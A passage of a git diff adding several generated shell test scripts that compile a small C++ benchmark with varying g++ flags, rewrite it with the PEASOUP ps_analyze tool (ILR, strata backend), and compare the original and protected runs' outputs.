index 0000000000000000000000000000000000000000..716e771e237790cbd674f9dac1cc41329e9a470a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..285b6998e169c7d499fa188f493addba949d278d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..07f599e719eb9dd0602163f7eef76c2351579a72
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..acda3e77cc34fb67756e91b6b3eb0d8877e5d152
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6fb51cc4e0aa2ad9ac26fa92f5057f26db045814
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ece9c10e25c74d580677f3f81436f8f7e9ca0f89
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..036bb65b41680095b61e682a25de14d98549c78d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
